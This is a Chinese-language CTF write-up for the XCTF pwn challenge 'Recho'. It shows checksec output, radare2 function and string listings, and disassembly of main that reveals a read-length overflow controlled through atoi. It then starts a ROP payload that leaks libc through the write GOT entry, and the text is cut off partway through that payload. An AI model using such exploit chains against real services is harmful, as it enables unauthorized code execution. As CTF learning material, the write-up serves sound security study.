例题
- 查看安全策略
root@kali:~/ctf/xctf/pwn# checksec 008_Recho
[*] '/root/ctf/xctf/pwn/008_Recho'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
-
查看函数和字符串
[0x00400630]> afl 0x00400630 1 43 entry0 0x00400660 4 50 -> 41 sym.deregister_tm_clones 0x004006a0 4 58 -> 55 sym.register_tm_clones 0x004006e0 3 28 entry.fini0 0x00400700 4 38 -> 35 entry.init0 0x004008b0 1 2 sym.__libc_csu_fini 0x004008b4 1 9 sym._fini 0x00400840 4 101 sym.__libc_csu_init 0x00400791 6 164 main 0x00400726 1 107 sym.Init 0x00400610 1 6 sym.imp.setvbuf 0x004005f0 1 6 sym.imp.alarm 0x004005a0 3 23 sym._init 0x004005d0 1 6 sym.imp.write 0x004005e0 1 6 sym.imp.printf 0x00400600 1 6 sym.imp.read 0x00400620 1 6 sym.imp.atoi [0x00400630]> iz [Strings] Num Paddr Vaddr Len Size Section Type String 000 0x000008c4 0x004008c4 25 26 (.rodata) ascii Welcome to Recho server!\n 000 0x00001058 0x00601058 4 5 (.data) ascii flag
木有发现
/bin/sh
字符串,但是有个flag
字符串,没有system
函数。write
: 可以用来泄露libc地址sym.__libc_csu_init
:万能gadgetread
:存入的内存空间小于读入大小时,发生溢出
-
寻找溢出点
直接寻找,未发现溢出点,但是通过调试main可以发现。读入的第一个字符串将经过
atoi()
转化为整形,而这个结果将作为第二个read函数读取的长度限制。因此用户可以通过第一次的输入一个长度很大的数,再使用第二个read造成溢出。| :| 0x004007c2 e859feffff call sym.imp.atoi | :| 0x004007c7 8945fc mov dword [var_4h], eax | :| 0x004007ca 837dfc0f cmp dword [var_4h], 0xf | ,===< 0x004007ce 7f07 jg 0x4007d7 | |:| 0x004007d0 c745fc100000. mov dword [var_4h], 0x10 ; 16 | |:| ; CODE XREF from main @ 0x4007ce | `---> 0x004007d7 8b45fc mov eax, dword [var_4h] | :| 0x004007da 4863d0 movsxd rdx, eax | :| 0x004007dd 488d45d0 lea rax, qword [var_30h] | :| 0x004007e1 4889c6 mov rsi, rax | :| 0x004007e4 bf00000000 mov edi, 0 | :| 0x004007e9 e812feffff call sym.imp.read
-
Payload
有/bin/sh,没有system,尝试利用write泄露libc,payload有三个参数,需要用到rdi,rsi,rdx三个寄存器。
payload = b'a' * (0x30 + 0x8) payload += p64(pop_rdi) + p64(0x1) payload += p64(pop_rsi) + p64(write_got) payload += p64(pop_rdx) + p64(0x8